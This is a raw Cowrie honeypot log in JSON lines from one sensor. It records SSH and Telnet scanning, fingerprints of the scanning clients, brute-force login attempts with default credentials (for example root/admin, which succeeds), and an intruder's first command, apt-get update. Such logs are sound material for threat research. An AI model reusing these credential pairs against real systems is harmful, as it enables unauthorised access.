{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":38658,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf39321268f","protocol":"ssh","message":"New connection: 47.239.15.75:38658 (159.203.135.109:22) [session: fdf39321268f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:26.216019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:26.221841Z","src_ip":"47.239.15.75","session":"fdf39321268f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":47070,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e8a2cccf3b9","protocol":"ssh","message":"New connection: 47.239.15.75:47070 (159.203.135.109:22) [session: 4e8a2cccf3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:37.806911Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":36212,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f415166cff","protocol":"ssh","message":"New connection: 47.239.15.75:36212 (159.203.135.109:22) [session: 95f415166cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:37.838350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:37.845323Z","src_ip":"47.239.15.75","session":"95f415166cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48816,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa1d8d6b6fe","protocol":"telnet","message":"New connection: 45.58.127.90:48816 (10.17.0.5:23) [session: 5aa1d8d6b6fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:39.666441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:41.741536Z","src_ip":"47.239.15.75","session":"4e8a2cccf3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:41.746948Z","src_ip":"47.239.15.75","session":"4e8a2cccf3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:55.006504Z","src_ip":"47.239.15.75","session":"4e8a2cccf3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.00818109512329,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:56.605755Z","src_ip":"45.58.127.90","session":"ceb69003d0b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"23.0","message":"Connection lost after 23.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:00.851606Z","src_ip":"47.239.15.75","session":"4e8a2cccf3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46372,"dst_ip":"10.17.0.5","dst_port":23,"session":"f121cbefa633","protocol":"telnet","message":"New connection: 45.58.127.90:46372 (10.17.0.5:23) [session: f121cbefa633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:09.682193Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46376,"dst_ip":"10.17.0.5","dst_port":23,"session":"70a828226731","protocol":"telnet","message":"New connection: 45.58.127.90:46376 (10.17.0.5:23) [session: 70a828226731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:13.878385Z"}
{"eventid":"cowrie.session.closed","duration":35.83147478103638,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:15.497785Z","src_ip":"45.58.127.90","session":"5aa1d8d6b6fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39760,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4a282ebc54","protocol":"telnet","message":"New connection: 45.58.127.90:39760 (10.17.0.5:23) [session: fd4a282ebc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:21.237251Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54982,"dst_ip":"10.17.0.5","dst_port":23,"session":"b09843959541","protocol":"telnet","message":"New connection: 45.58.127.90:54982 (10.17.0.5:23) [session: b09843959541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:37.109404Z"}
{"eventid":"cowrie.session.closed","duration":41.23647618293762,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:50.918534Z","src_ip":"45.58.127.90","session":"f121cbefa633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.9096896648407,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:51.787933Z","src_ip":"45.58.127.90","session":"70a828226731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.242.122.170","src_port":47747,"dst_ip":"10.17.0.5","dst_port":22,"session":"3754bbbb36fc","protocol":"ssh","message":"New connection: 92.242.122.170:47747 (10.17.0.5:22) [session: 3754bbbb36fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:57.220859Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:57.427590Z","src_ip":"92.242.122.170","session":"3754bbbb36fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.76286721229553,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:11:58.999870Z","src_ip":"45.58.127.90","session":"fd4a282ebc54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.242.122.170","src_port":49319,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ef989faa0c","protocol":"ssh","message":"New connection: 92.242.122.170:49319 (10.17.0.5:22) [session: 06ef989faa0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:02.177914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:02.191579Z","src_ip":"92.242.122.170","session":"06ef989faa0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e37f354a101aff5871ba233aa82b84ec","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e37f354a101aff5871ba233aa82b84ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:02.357009Z","src_ip":"92.242.122.170","session":"06ef989faa0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:03.073402Z","src_ip":"92.242.122.170","session":"06ef989faa0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45064,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c24359b792d","protocol":"telnet","message":"New connection: 45.58.127.90:45064 (10.17.0.5:23) [session: 4c24359b792d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:07.188915Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.29.226.25","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67a2abd21d3","protocol":"telnet","message":"New connection: 181.29.226.25:58646 (159.203.135.109:23) [session: c67a2abd21d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:07.629565Z"}
{"eventid":"cowrie.session.closed","duration":41.45237350463867,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:18.561678Z","src_ip":"45.58.127.90","session":"b09843959541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.84452486038208,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:21.473980Z","src_ip":"181.29.226.25","session":"c67a2abd21d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:26.229220Z","src_ip":"47.239.15.75","session":"fdf39321268f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:37.845891Z","src_ip":"47.239.15.75","session":"95f415166cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36428,"dst_ip":"10.17.0.5","dst_port":23,"session":"042afaeb3eeb","protocol":"telnet","message":"New connection: 45.58.127.90:36428 (10.17.0.5:23) [session: 042afaeb3eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:41.332876Z"}
{"eventid":"cowrie.session.closed","duration":39.99632716178894,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:47.185097Z","src_ip":"45.58.127.90","session":"4c24359b792d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":60204,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbf8ad6d08e7","protocol":"ssh","message":"New connection: 98.70.48.241:60204 (159.203.135.109:22) [session: bbf8ad6d08e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:59.745624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:59.752263Z","src_ip":"98.70.48.241","session":"bbf8ad6d08e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:12:59.940800Z","src_ip":"98.70.48.241","session":"bbf8ad6d08e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cvsuser","password":"1234","message":"login attempt [cvsuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:00.730894Z","src_ip":"98.70.48.241","session":"bbf8ad6d08e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:01.923841Z","src_ip":"98.70.48.241","session":"bbf8ad6d08e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":58706,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f42a77ce908","protocol":"ssh","message":"New connection: 47.239.15.75:58706 (159.203.135.109:22) [session: 7f42a77ce908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:06.778292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:06.798347Z","src_ip":"47.239.15.75","session":"7f42a77ce908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":59492,"dst_ip":"159.203.135.109","dst_port":22,"session":"015a407bbfda","protocol":"ssh","message":"New connection: 47.239.15.75:59492 (159.203.135.109:22) [session: 015a407bbfda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:08.904914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:09.797646Z","src_ip":"47.239.15.75","session":"015a407bbfda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54870,"dst_ip":"10.17.0.5","dst_port":23,"session":"d448ebfba174","protocol":"telnet","message":"New connection: 45.58.127.90:54870 (10.17.0.5:23) [session: d448ebfba174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:11.126777Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":18489,"dst_ip":"10.17.0.5","dst_port":22,"session":"abff1accf1e5","protocol":"ssh","message":"New connection: 185.71.233.73:18489 (10.17.0.5:22) [session: abff1accf1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:14.189853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:14.198004Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:14.474681Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:15.287770Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:16.016908Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:16.957297Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":18508,"dst_ip":"159.203.135.109","dst_port":22,"session":"005714211d54","protocol":"ssh","message":"New connection: 185.71.233.73:18508 (159.203.135.109:22) [session: 005714211d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:17.407439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:17.413388Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:17.711602Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:18.241744Z","src_ip":"185.71.233.73","session":"abff1accf1e5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:18.465595Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:19.017116Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:19.252844Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.771562814712524,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:20.104347Z","src_ip":"45.58.127.90","session":"042afaeb3eeb","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:13:21.296119Z","src_ip":"185.71.233.73","session":"005714211d54","protocol":"ssh"}
